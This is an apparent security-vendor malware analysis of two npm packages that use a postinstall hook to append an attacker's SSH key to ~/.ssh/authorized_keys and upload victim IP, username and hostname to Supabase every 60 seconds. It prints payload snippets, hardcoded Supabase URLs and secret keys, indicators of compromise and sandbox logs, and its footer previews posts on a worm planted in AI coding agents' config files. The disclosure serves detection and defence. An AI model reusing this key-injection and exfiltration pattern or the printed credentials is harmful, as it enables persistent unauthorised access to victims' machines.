Malicious dom-utils-lite npm SSH Backdoor via Supabase
Table of Contents
TL;DR
npm account user0001 <tanvisoul9@gmail.com> published two malicious packages, dom-utils-lite and centralogger, with identical payloads. On npm install, a postinstall hook fetches the attacker’s SSH public key from a Supabase storage bucket, appends it to ~/.ssh/authorized_keys, harvests the victim’s IP, username, and hostname, then uploads that metadata to the same Supabase project. A scheduler re-runs the chain every 60 seconds.
Impact:
- Writes the attacker’s SSH public key into
~/.ssh/authorized_keys - Exfiltrates server IP, username, and hostname to attacker-controlled Supabase storage
- Re-runs every 60 seconds with exponential-backoff retry, re-injecting the key if you remove it
- Empty
catchblocks swallow all errors
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| Package | dom-utils-lite@1.0.0 |
| Package | centralogger@1.0.9 (also 1.0.5 through 1.0.8) |
| Maintainer | user0001 <tanvisoul9@gmail.com> |
| C2 (dom-utils-lite) | hxxps://xienztiavkygvacpqzgr[.]supabase[.]co |
| C2 (centralogger) | hxxps://ndfcioahsbgsjmulpjgt[.]supabase[.]co |
| Supabase bucket | project_bucket |
| SSH key path | public_keys/main.pem.pub |
| Exfil path | logs/{ip}_{hostname}.txt |
| Postinstall | node setup.js |
| SHA-256 (dom-utils-lite) | 4600db4fc30fb6ffa68deed4a25679e674bb3a3e8dae31f3dfc83bea0d757a8f |
| SHA-256 (centralogger) | 2e131f47090516e5a60553aa40d46823e08162390c1d6deb075cf317f00309f7 |
| Backdoor | Attacker’s SSH key appended to ~/.ssh/authorized_keys |
Analysis
Two Packages, One Payload
| Package | Version(s) | Published | Supabase C2 project |
|---|---|---|---|
centralogger | 1.0.5 through 1.0.9 | April 1, 2026 (5 versions in ~7 hours) | ndfcioahsbgsjmulpjgt |
dom-utils-lite | 1.0.0 | April 14, 2026 | xienztiavkygvacpqzgr |
centralogger came first. Five versions in one day suggest the attacker was debugging the postinstall trigger. By dom-utils-lite, a single publish was enough.
Diffing the extracted tarballs shows only two files differ:
diff centralogger/package.json dom-utils-lite/package.json< "name": "centralogger",< "version": "1.0.9",< "description": "A simple logger for application",---> "name": "dom-utils-lite",> "version": "1.0.0",> "description": "",
diff centralogger/supabaseClient.js dom-utils-lite/supabaseClient.js< let SUPABASE_URL = "https://ndfcioahsbgsjmulpjgt.supabase.co"< let SUPABASE_KEY = "sb_secret_79Y9vlaAbBRPtAcXRpfHfg_j_gl9ZG8"---> let SUPABASE_URL = "https://xienztiavkygvacpqzgr.supabase.co"> let SUPABASE_KEY = "sb_secret_LbQZ91nwyeW9YXOJCm2UUQ_EzRsXhBH"All other files match byte-for-byte. The attacker swapped credentials per wave so that taking down one Supabase project leaves the other operational.
Payload
postinstall runs setup.js, which chains four operations:
async function setup() { try { const publicKey = await getPublicKey(); // fetch SSH key from Supabase await injectKey(publicKey); // write to ~/.ssh/authorized_keys const server = getServerDetails(); // collect IP, username, hostname await uploadMetadata(server); // exfiltrate to Supabase } catch (err) {}}setup();index.js repeats this chain every 60 seconds with exponential-backoff retry.
injectKey.js creates ~/.ssh/ if missing, then appends the attacker’s key tagged ssh-key-auto-sync:
const taggedKey = `${publicKey} ssh-key-auto-sync`;fs.appendFileSync(authFile, '\n' + taggedKey + '\n');supabaseClient.js holds hardcoded credentials. The SSH public key lives at project_bucket/public_keys/main.pem.pub, fetched at runtime so the attacker can rotate keys without republishing.
uploadMeta.js writes victim IP, username, hostname, and timestamp to logs/{ip}_{hostname}.txt with upsert: true. Because the 60-second scheduler overwrites this file on every tick, the attacker maintains a live roster: which machines are compromised, and when each last checked in.
Attack Flow
npm install dom-utils-lite └─ postinstall: node setup.js ├─ fetchKey.js → Downloads SSH public key from Supabase bucket ├─ injectKey.js → Appends key to ~/.ssh/authorized_keys ├─ utils.js → Collects IP, username, hostname └─ uploadMeta.js → Uploads server metadata to Supabase bucket
└─ index.js (if executed via npm start) └─ Same chain on 60-second interval with retryDynamic Analysis
Our eBPF-based dynamic analysis sandbox captured three rule triggers during npm install of dom-utils-lite@1.0.0:
| created_at | analysis_id | rule | output | |
|---|---|---|---|---|
| 1 | April 14, 2026, 7:54 AM | 01KP5EQZMSVFSTX5CXH0VDD173 | Adding ssh keys to authorized_keys | 2026-04-14T07:54:48.652975141+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> |
| 2 | April 14, 2026, 7:54 AM | 01KP5EQZMSVFSTX5CXH0VDD173 | Read ssh information | 2026-04-14T07:54:48.652856311+0000: Error ssh-related file/directory read by non-ssh program | file=/root/.ssh/authorized_keys pcmdline=sh -c node setup.js evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> |
| 3 | April 14, 2026, 7:54 AM | 01KP5EQZMSVFSTX5CXH0VDD173 | Adding ssh keys to authorized_keys | 2026-04-14T07:54:48.652811211+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> |
| No matching rows | ||||
Two “Adding ssh keys to authorized_keys” warnings and one “Read ssh information” error fired at 07:54:48 UTC, all from process chain sh -c node setup.js running as root. The two openat calls on /root/.ssh/authorized_keys match injectKey.js reading existing keys then appending the attacker’s key.
Conclusion
If you installed either package:
- Check
~/.ssh/authorized_keysfor entries taggedssh-key-auto-syncand remove them - Audit
~/.ssh/authorized_keysfor any unrecognized keys - Kill any lingering
nodeprocesses runningindex.jsfrom these packages - Review CI/CD pipelines where either package may have been installed
Any npm package from the user0001 account should be treated as malicious. The tanvisoul9@gmail.com email, bucket name project_bucket, and path public_keys/main.pem.pub are useful pivot points for hunting additional packages in this campaign.
References
- vet
- malware
- npm
- supply-chain
- ssh-backdoor
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Miasma Worm: Most Infected GitHub Repos Are Still Live
Eight days after the Miasma worm forged a credential stealer into public GitHub repositories, most are still serving it. A re-scan of the published victim list plus a fresh code-search sweep found...

Config Files That Run Code: Supply Chain Security Blindspot
Editor and package-manager config files auto-execute commands when a developer opens a folder or installs dependencies. The Miasma worm wired one dropper into seven of them across Claude Code,...

Inside the Miasma Software Supply Chain Attack Toolkit
The Miasma worm source code appeared on GitHub through compromised developer accounts. The codebase is a full supply chain attack toolkit with credential exfiltration across AWS, Azure, GCP, and...

Miasma Worm Targets AI Coding Agents via GitHub Repos
A Miasma worm variant injects a 4.3 MB dropper into GitHub repos across multiple maintainers, wiring it to auto-run through Claude Code, Gemini, Cursor, and VS Code config files. No npm package is...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
